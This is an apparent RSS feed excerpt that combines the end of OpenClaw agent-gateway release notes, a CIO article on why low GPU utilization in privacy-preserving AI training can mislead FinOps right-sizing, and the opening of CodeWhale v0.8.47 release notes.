<p>Agents/media: preserve async-started media tool metadata so background generation starts no longer surface generic incomplete-turn warnings while replay stays unsafe. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4510559084" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85933" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/85933/hovercard" href="https://github.com/openclaw/openclaw/pull/85933">#85933</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/fuller-stack-dev/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/fuller-stack-dev">@fuller-stack-dev</a>.</p>
</li>
<li>
<p>Docker E2E: dedupe scheduler lane resources so npm/service package lanes are not over-counted and serialized unnecessarily.</p>
</li>
<li>
<p>QA/diagnostics: add a collector-backed OpenTelemetry smoke lane, make the OTLP payload leak check scenario-aware, and keep source QA builds from failing on optional dependency imports resolved through pnpm's temp module path.</p>
</li>
<li>
<p>Crabbox: bootstrap Git metadata for sparse remote changed gates so raw synced workspaces can run <code>pnpm check:changed</code> from the intended diff.</p>
</li>
<li>
<p>xAI/LM Studio: avoid buffering ordinary bracketed or <code>final</code> prose until stream completion while watching for plain-text tool-call fallbacks.</p>
</li>
<li>
<p>Doctor: warn and continue when the cron job store exists but cannot be read so later health checks still run. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4512146374" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86102" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/86102/hovercard" href="https://github.com/openclaw/openclaw/issues/86102">#86102</a>. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4515361802" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86384" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86384/hovercard" href="https://github.com/openclaw/openclaw/pull/86384">#86384</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/1052326311/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/1052326311">@1052326311</a>.</p>
</li>
<li>
<p>Discord: suppress a bot's previous reply body and referenced media from prompt context when a user replies to that bot message, while keeping reply metadata for routing. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4513382967" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86238" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86238/hovercard" href="https://github.com/openclaw/openclaw/pull/86238">#86238</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/fuller-stack-dev/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/fuller-stack-dev">@fuller-stack-dev</a>.</p>
</li>
<li>
<p>Discord: restore bare numeric channel IDs for outbound message-tool sends while keeping explicit DM targets unambiguous. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4518354506" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86571" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86571/hovercard" href="https://github.com/openclaw/openclaw/pull/86571">#86571</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/joshavant/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/joshavant">@joshavant</a>.</p>
</li>
<li>
<p>Docker E2E: avoid rebuilding the Control UI twice while preparing the shared OpenClaw package tarball for package-backed scenario runs.</p>
</li>
<li>
<p>Tests: avoid rebuilding the Control UI twice during the installer Docker smoke now that <code>pnpm build</code> includes <code>ui:build</code>.</p>
</li>
<li>
<p>Tests: give QA config mutation RPCs enough native Windows budget to finish gateway config writes and restart settle after hot scenario runs.</p>
</li>
<li>
<p>Tests: keep the gateway restart-inflight QA scenario focused on restart recovery on native Windows by allowing expected embedded prompt handoff errors and using the Windows-safe timeout budget.</p>
</li>
<li>
<p>QA-Lab: make the synthetic OpenAI provider honor generic <code>reply exactly:</code> directives after required kickoff reads so restart-recovery scenarios do not fall through to generic repo-summary prose.</p>
</li>
<li>
<p>Gateway: abort active <code>agent</code> RPC runs during forced restart shutdown so stale in-process turns cannot keep writing a session after the Gateway lifecycle restarts.</p>
</li>
<li>
<p>Crabbox: sync clean sparse worktrees through a temporary full checkout even when reusing an existing lease so tracked build-time files are not omitted.</p>
</li>
<li>
<p>Build: route <code>scripts/ui.js</code> through the shared pnpm runner and keep Control UI chunking helpers in sparse-included source so native Windows Corepack builds can produce <code>dist/control-ui</code>.</p>
</li>
<li>
<p>Tests: give the memory fallback QA scenario enough turn budget to exercise native Windows gateway runs instead of failing on the client timeout while the mock agent is still dispatching.</p>
</li>
<li>
<p>Tests: collect QA gateway CPU/RSS metrics on native Windows and give the channel baseline enough turn budget to report slow gateway runs instead of timing out before proof.</p>
</li>
<li>
<p>Install/update: bypass npm <code>min-release-age</code> policies with <code>--min-release-age=0</code> instead of <code>--before</code> so hosted installers keep working on npm versions that reject the combined config. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4490856882" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/84749" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/84749/hovercard" href="https://github.com/openclaw/openclaw/pull/84749">#84749</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/TeodoroRodrigo/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/TeodoroRodrigo">@TeodoroRodrigo</a>.</p>
</li>
<li>
<p>Diagnostics: reclaim wedged session lanes when stale active-run bookkeeping blocks queued work despite no forward progress. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4506871185" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85639" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/85639/hovercard" href="https://github.com/openclaw/openclaw/issues/85639">#85639</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/openperf/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/openperf">@openperf</a>.</p>
</li>
<li>
<p>WebChat: keep message-tool replies visible in the chat while still summarizing internal tool results for the model. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4514654012" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86347" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/86347/hovercard" href="https://github.com/openclaw/openclaw/issues/86347">#86347</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/shakkernerd/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/shakkernerd">@shakkernerd</a>.</p>
</li>
<li>
<p>Gateway/perf: fail startup benchmark samples when the Gateway process exits before benchmark teardown, including signal deaths after readiness probes.</p>
</li>
<li>
<p>Gateway/perf: fail restart benchmark samples when the Gateway exits before benchmark teardown, including clean exits and signal deaths after successful restart probes.</p>
</li>
<li>
<p>Agents/tests: keep model catalog visibility on static selection helpers so catalog visibility checks avoid the broad model-selection barrel import.</p>
</li>
<li>
<p>Agents/commitments: serialize commitment store load-modify-save writes so concurrent heartbeat and CLI updates no longer lose dismissal, sent, or attempt state. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4432420395" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/81153" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/81153/hovercard" href="https://github.com/openclaw/openclaw/pull/81153">#81153</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/ai-hpc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/ai-hpc">@ai-hpc</a>.</p>
</li>
<li>
<p>xAI/LM Studio: promote plain-text tool-call fallbacks into structured tool calls and strip leaked internal tool syntax before user-facing delivery. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4513214742" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86222" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86222/hovercard" href="https://github.com/openclaw/openclaw/pull/86222">#86222</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/fuller-stack-dev/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/fuller-stack-dev">@fuller-stack-dev</a>.</p>
</li>
<li>
<p>CLI: suppress benign self-update version-skew warnings during package post-update finalization.</p>
</li>
<li>
<p>Gateway/perf: tighten restart and startup benchmark failure handling so long profiling runs, failed probes, and fresh Linux runners no longer produce false passing or <code>n/a</code> results.</p>
</li>
<li>
<p>Checks: keep intentional Knip unused-file findings optional so full CI and sparse proof workspaces stay aligned.</p>
</li>
<li>
<p>Docker: restore writable <code>~/.config</code> in runtime images. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4510825052" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85968" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/85968/hovercard" href="https://github.com/openclaw/openclaw/issues/85968">#85968</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/hkoessler/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/hkoessler">@hkoessler</a> and <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Bartok9/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Bartok9">@Bartok9</a>.</p>
</li>
<li>
<p>Plugin SDK: keep legacy root diagnostic subscriptions connected when built plugin SDK aliases resolve diagnostic helpers through a separate module graph.</p>
</li>
<li>
<p>Diagnostics: export alertable OTel and Prometheus signals for blocked tools, model failover, stale sessions, liveness warnings, oversized payloads, and webhook ingress while fixing shared OTLP endpoints with query strings.</p>
</li>
<li>
<p>Tests: normalize macOS canonical temp paths in exec allowlists, fs-safe trash assertions, installed plugin matching, Telegram topic-name stores, and built ACPX MCP server expectations so native macOS proof runners cover the intended behavior.</p>
</li>
<li>
<p>Codex/app-server: preserve message-tool-only source reply delivery mode on active runs so sub-agent completion wakeups can steer the active Codex turn instead of being rejected. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4513790064" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86287" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86287/hovercard" href="https://github.com/openclaw/openclaw/pull/86287">#86287</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/ferminquant/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/ferminquant">@ferminquant</a>.</p>
</li>
<li>
<p>Tests: sample the Windows kitchen-sink RPC gateway directly and serialize RSS probes so native runs keep the memory guard active.</p>
</li>
<li>
<p>Tests: normalize bundled plugin lifecycle probe paths and state-root lookup so native Windows release sweeps accept valid packaged plugin installs.</p>
</li>
<li>
<p>Agents/Claude CLI: route live native Bash permission requests through OpenClaw exec policy so Claude turns no longer stall on <code>control_request</code>, and document that OpenClaw exec policy is authoritative. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4425323621" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/80819" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/80819/hovercard" href="https://github.com/openclaw/openclaw/issues/80819">#80819</a>. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4514343781" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86330" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86330/hovercard" href="https://github.com/openclaw/openclaw/pull/86330">#86330</a>, from <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4450374694" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/81971" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/81971/hovercard" href="https://github.com/openclaw/openclaw/pull/81971">#81971</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/guthirry/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/guthirry">@guthirry</a> and <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/sallyom/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/sallyom">@sallyom</a>.</p>
</li>
<li>
<p>Security audit: warn when YOLO OpenClaw exec policy overrides a restrictive raw Claude <code>--permission-mode</code> for managed live sessions. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4518138669" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86557" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86557/hovercard" href="https://github.com/openclaw/openclaw/pull/86557">#86557</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/sallyom/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/sallyom">@sallyom</a>.</p>
</li>
<li>
<p>Config: keep benign legacy metadata write anomalies out of default doctor and config command output while preserving explicit anomaly logging for diagnostics.</p>
</li>
<li>
<p>Codex: log when implicit app-server <code>never</code> approvals are promoted for OpenClaw tool policy, including whether the trigger was a <code>before_tool_call</code> hook or trusted tool policy.</p>
</li>
<li>
<p>Codex harness: make subscription usage-limit errors without reset times explain that OpenClaw cannot determine the reset and point users to wait until Codex is available, use another Codex account, or switch to another configured model/provider. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/amknight/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/amknight">@amknight</a>.</p>
</li>
<li>
<p>Google Vertex: support production ADC modes such as Workload Identity Federation, service-account credentials, and metadata-server ADC for the native Vertex transport. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4474267416" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/83971" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/83971/hovercard" href="https://github.com/openclaw/openclaw/pull/83971">#83971</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/damianFelixPago/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/damianFelixPago">@damianFelixPago</a>.</p>
</li>
<li>
<p>Telegram: route normal <code>[telegram][diag]</code> polling diagnostics through <code>runtime.log</code> while keeping non-diag warnings and persistence failures on <code>runtime.error</code>, so healthy polling startup no longer looks like an error. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4462473913" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/82957" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/82957/hovercard" href="https://github.com/openclaw/openclaw/issues/82957">#82957</a>. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4462475221" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/82958" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/82958/hovercard" href="https://github.com/openclaw/openclaw/pull/82958">#82958</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/galiniliev/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/galiniliev">@galiniliev</a>.</p>
</li>
<li>
<p>Providers/Ollama: strip inline Kimi cloud reasoning prefixes from streamed and final visible replies while keeping ordinary Kimi answers append-only. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4513786914" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86286" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86286/hovercard" href="https://github.com/openclaw/openclaw/pull/86286">#86286</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/jason-allen-oneal/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/jason-allen-oneal">@jason-allen-oneal</a>.</p>
</li>
<li>
<p>Gateway: require Talk secret authority before setup-code handoff can include Talk secrets. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4507699906" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85690" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/85690/hovercard" href="https://github.com/openclaw/openclaw/pull/85690">#85690</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/ngutman/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/ngutman">@ngutman</a>.</p>
</li>
<li>
<p>Agents: keep fallback error reporting scoped to the active model candidate so stale prior-provider quota/auth text is not reported for later fallback attempts. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4512330133" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86134" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86134/hovercard" href="https://github.com/openclaw/openclaw/pull/86134">#86134</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/zhangguiping-xydt/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/zhangguiping-xydt">@zhangguiping-xydt</a>.</p>
</li>
<li>
<p>iMessage: dedupe watcher startup when <code>channels.imessage.accounts</code> lists both <code>default</code> and a named account that point at the same local Messages source, so the gateway no longer spawns two <code>imsg rpc</code> processes or doubles inbound replies; the dedupe is scoped to watcher startup, leaving duplicate accounts addressable for outbound sends, status, and capability listings, and <code>openclaw doctor</code> flags the redundant account with a rebinding hint. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4246413314" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/65141" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/65141/hovercard" href="https://github.com/openclaw/openclaw/issues/65141">#65141</a>. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4520556743" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86705" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86705/hovercard" href="https://github.com/openclaw/openclaw/pull/86705">#86705</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/swang430/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/swang430">@swang430</a>.</p>
</li>
</ul>]]></content:encoded>
</item>
<item>
<title><![CDATA[When GPU utilization lies: The FinOps blind spot in secure AI training]]></title>
<description><![CDATA[Enterprise cloud teams are trained to act on utilization data.



If a virtual machine is idle, resize it.If storage is overallocated, reclaim it.If a GPU appears underused, move the job to a smaller instance.



That logic is central to modern FinOps. It helps organizations reduce waste, improve...]]></description>
<link>https://tsecurity.de/de/3550766/it-nachrichten/when-gpu-utilization-lies-the-finops-blind-spot-in-secure-ai-training/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3550766/it-nachrichten/when-gpu-utilization-lies-the-finops-blind-spot-in-secure-ai-training/</guid>
<pubDate>Wed, 27 May 2026 13:02:21 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p>Enterprise cloud teams are trained to act on utilization data.</p>



<p>If a virtual machine is idle, resize it.<br>If storage is overallocated, reclaim it.<br>If a GPU appears underused, move the job to a smaller instance.</p>



<p>That logic is central to modern FinOps. It helps organizations reduce waste, improve forecasting and keep cloud spending under control.</p>



<p>But secure AI training introduces a different problem: sometimes the utilization signal is technically true and operationally misleading.</p>



<p>A GPU can look underused even when the workload is not over-provisioned. In privacy-preserving machine learning, low accelerator utilization may indicate a memory-bound bottleneck, not excess capacity. If a cloud optimization process treats that signal as ordinary waste, the recommended fix can make the job slower and more expensive.</p>



<p>For CIOs, this is not just a GPU tuning issue. It is a cloud governance issue. As I have noted previously, IT leaders must look<a href="https://www.cio.com/article/4113246/beyond-the-cloud-bill-the-hidden-operational-costs-of-ai-governance.html"> </a><a href="https://www.cio.com/article/4113246/beyond-the-cloud-bill-the-hidden-operational-costs-of-ai-governance.html">beyond the cloud bill to understand the hidden operational costs of AI governance</a></p>



<h2 class="wp-block-heading">The utilization number does not explain the bottleneck</h2>



<p>Traditional cloud right-sizing depends on a simple assumption: low utilization usually means unused capacity.</p>



<p>That assumption works for many enterprise workloads. It can work for web services, batch jobs, databases and standard compute jobs. But secure AI training can break that assumption because the workload shape changes.</p>



<p>In my IEEE systems research on <a href="https://ieeexplore.ieee.org/document/11454302" rel="nofollow">privacy and robustness in machine learning</a>, I profiled what happens when trust controls are added to model training. The important lesson for CIOs was not only that secure training costs more, but it was that secure training can change what infrastructure metrics mean.</p>



<p>On a controlled NVIDIA V100 GPU setup, privacy-preserving training increased cost by <strong>3.55x</strong> on a vision workload and <strong>2.96x</strong> on a tabular workload. Robustness training increased cost by <strong>4.07x</strong> on the vision workload.</p>



<p>Those cost multipliers matter. But for FinOps teams, the deeper finding is this:</p>



<p>The workload became less aligned with the hardware signals that cloud teams often use for rightsizing.</p>



<h2 class="wp-block-heading">Why privacy-preserving training can look inefficient</h2>



<p>Modern AI accelerators are very good at large, dense mathematical operations. Standard model training often keeps these accelerator units busy because the work can be organized into large blocks of computation.</p>



<p>Differential privacy training often requires per-example gradient computation and clipping. Instead of pushing most of the work through large, efficient operations, the system performs more fine-grained steps across individual training examples.</p>



<p>That changes the performance profile. In my study, this pattern created memory-bound behavior and reduced effective use of specialized GPU compute units such as Tensor Cores. To a dashboard, that can look like underutilization.</p>



<p>To a systems engineer, it means something more specific: the job is not waiting because the GPU is too large. It is waiting because the workload is constrained by memory movement and per-example operations, simply those are not the same problem.</p>



<h2 class="wp-block-heading">The FinOps risk: Right answer, wrong context</h2>



<p>Automated cloud recommenders are useful because they identify resources that appear oversized or idle. The problem is not that these tools exist. The problem is applying a generic right-sizing rule to a specialized AI workload.</p>



<p>A standard recommendation workflow might ask, “Is the accelerator busy?: For secure AI training, CIOs need the team to ask, “Why is the accelerator not busy?”</p>



<p>If the answer is idle capacity, downsizing may save money.</p>



<p>If the answer is memory-bound privacy computation, downsizing may increase total cost.</p>



<p>A smaller instance may have a lower hourly price, but cloud bills are not based only on hourly price. They are based on hourly price multiplied by runtime. If the smaller instance extends the training job enough, the total bill can rise.</p>



<p>That is the FinOps blind spot: a recommendation can look correct on a utilization dashboard but fail when measured against the full training job.</p>



<h2 class="wp-block-heading">Secure AI needs a different exception policy</h2>



<p>Enterprise IT already treats some workloads differently. Regulated databases, security-sensitive systems and latency-critical applications often have special infrastructure policies.</p>



<p>Secure AI training needs similar exception handling; a model training job that uses differential privacy or adversarial training should not be evaluated the same way as an idle development server. These workloads can produce unusual utilization patterns because the algorithm itself changes the way hardware is used.</p>



<h3 class="wp-block-heading">1. Tag secure-AI training jobs</h3>



<p>FinOps teams need to know when a training job uses privacy-preserving or robustness-oriented methods.</p>



<p>A simple workload tag can prevent the job from being evaluated as ordinary compute. The tag should tell cloud teams:</p>



<p>Low utilization may be caused by the algorithm, not by waste.</p>



<p>This gives FinOps, MLOps and infrastructure teams a shared signal before any right-sizing decision is made.</p>



<h3 class="wp-block-heading"><a></a>2. Treat rightsizing as a review trigger, not an automatic action</h3>



<p>For secure AI jobs, an automated recommendation should start an investigation. It should not automatically become a change request.</p>



<p>Before moving the workload to a smaller instance, the team should answer four questions:</p>



<ul class="wp-block-list">
<li>Is the workload compute-bound or memory-bound?</li>



<li>Is the bottleneck caused by data loading, memory bandwidth or per-example privacy operations?</li>



<li>Would the smaller instance reduce total job cost, or only reduce hourly rate?</li>



<li>Has the team measured runtime impact before approving the change?</li>
</ul>



<p>This shifts FinOps from simple utilization management to workload-aware cost governance.</p>



<h3 class="wp-block-heading">3. Bring MLOps into FinOps decisions</h3>



<p>FinOps teams understand pricing, commitment plans, chargeback and utilization. But secure AI workloads require another layer of interpretation.</p>



<p>Someone must understand what the training algorithm is doing.</p>



<p>DP-SGD and PGD do not merely consume more GPU time. They change the computation pattern. That means utilization percentage alone is not enough to make an infrastructure decision.</p>



<p>CIOs should connect FinOps, MLOps, AI governance and infrastructure engineering before applying cost recommendations to secure AI training workloads.</p>



<h3 class="wp-block-heading"><a></a>4. Measure total job economics, not only instance utilization</h3>



<p>The cheapest instance is not always the lowest-cost option. For secure AI training, CIOs should require teams to compare:</p>



<ul class="wp-block-list">
<li>Hourly cost</li>



<li>Total runtime</li>



<li>Energy use</li>



<li>Job completion time</li>



<li>Model utility impact</li>



<li>Infrastructure bottleneck profile</li>
</ul>



<p>To truly optimize these economics, teams must look beyond the hardware and apply<a href="https://www.infoworld.com/article/4168496/12-model-level-deep-cuts-to-slash-ai-training-costs.html"> model-level deep cuts to slash AI training costs</a>. Ultimately, a GPU that looks underused may still be the better economic choice if it completes the workload faster and avoids a longer memory-bound run. Failing to account for the model utility impact during these infrastructure changes can easily lead organizations into<a href="https://www.vktr.com/ai-technology/the-ai-accuracy-trap/" rel="nofollow"> the AI accuracy trap</a>, where cost savings inadvertently ruin real-world performance.</p>



<h2 class="wp-block-heading">The CIO takeaway</h2>



<p>The next phase of enterprise AI will require more than model accuracy and fast experimentation. Organizations will need AI systems that are private, robust, governable and economically sustainable.</p>



<p>In ordinary cloud operations, low utilization often means waste. In secure AI training, low utilization may mean the workload has exposed a hardware-software mismatch.</p>



<p>The rule for CIOs is simple: Do not right-size secure AI training jobs until you understand why the accelerator is underused.</p>



<p>In trustworthy AI, utilization is not always truth.</p>



<p><strong>This article is published as part of the Foundry Expert Contributor Network.</strong><br><strong><a href="https://www.cio.com/expert-contributor-network/">Want to join?</a></strong></p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[v0.8.47 — Verification Gate, Goal Tools, DuckDuckGo Default]]></title>
<description><![CDATA[Highlights

Closed-loop verification gate — every side-effect tool call is re-checked; [VERIFY PASS] / [VERIFY FAIL] annotations enter the session ledger
All 80+ native tools loaded upfront — no more deferred tool discovery
Runtime goal tools — create_goal, get_goal, update_goal with LLM-as-judge...]]></description>
<link>https://tsecurity.de/de/3549699/downloads/v0847-verification-gate-goal-tools-duckduckgo-default/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3549699/downloads/v0847-verification-gate-goal-tools-duckduckgo-default/</guid>
<pubDate>Wed, 27 May 2026 06:01:35 +0200</pubDate>
<category>💾 Downloads</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<h2>Highlights</h2>
<ul>
<li><strong>Closed-loop verification gate</strong> — every side-effect tool call is re-checked; <code>[VERIFY PASS]</code> / <code>[VERIFY FAIL]</code> annotations enter the session ledger</li>
<li><strong>All 80+ native tools loaded upfront</strong> — no more deferred tool discovery</li>
<li><strong>Runtime goal tools</strong> — <code>create_goal</code>, <code>get_goal</code>, <code>update_goal</code> with LLM-as-judge completion (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4524175513" data-permission-text="Title is private" data-url="https://github.com/Hmbown/CodeWhale/issues/2199" data-hovercard-type="issue" data-hovercard-url="/Hmbown/CodeWhale/issues/2199/hovercard" href="https://github.com/Hmbown/CodeWhale/issues/2199">#2199</a>)</li>
<li><strong>DuckDuckGo</strong> is now the default web search backend (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4516828008" data-permission-text="Title is private" data-url="https://github.com/Hmbown/CodeWhale/issues/2132" data-hovercard-type="issue" data-hovercard-url="/Hmbown/CodeWhale/issues/2132/hovercard" href="https://github.com/Hmbown/CodeWhale/issues/2132">#2132</a>)</li>
<li><strong>16 new features, 7 changes, 15 fixes</strong> — see full CHANGELOG below</li>
</ul>
<h2>Contributors</h2>
<p>Thanks to everyone whose PRs landed in this release:</p>
<p><strong><a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Fire-dtx/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Fire-dtx">@Fire-dtx</a></strong> (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4491558500" data-permission-text="Title is private" data-url="https://github.com/Hmbown/CodeWhale/issues/1856" data-hovercard-type="pull_request" data-hovercard-url="/Hmbown/CodeWhale/pull/1856/hovercard" href="https://github.com/Hmbown/CodeWhale/pull/1856">#1856</a>) • <strong><a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/imkingjh999/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/imkingjh999">@imkingjh999</a></strong> (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4526093821" data-permission-text="Title is private" data-url="https://github.com/Hmbown/CodeWhale/issues/2228" data-hovercard-type="pull_request" data-hovercard-url="/Hmbown/CodeWhale/pull/2228/hovercard" href="https://github.com/Hmbown/CodeWhale/pull/2228">#2228</a>) • <strong><a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/harvey2011888/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/harvey2011888">@harvey2011888</a></strong> (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4491824058" data-permission-text="Title is private" 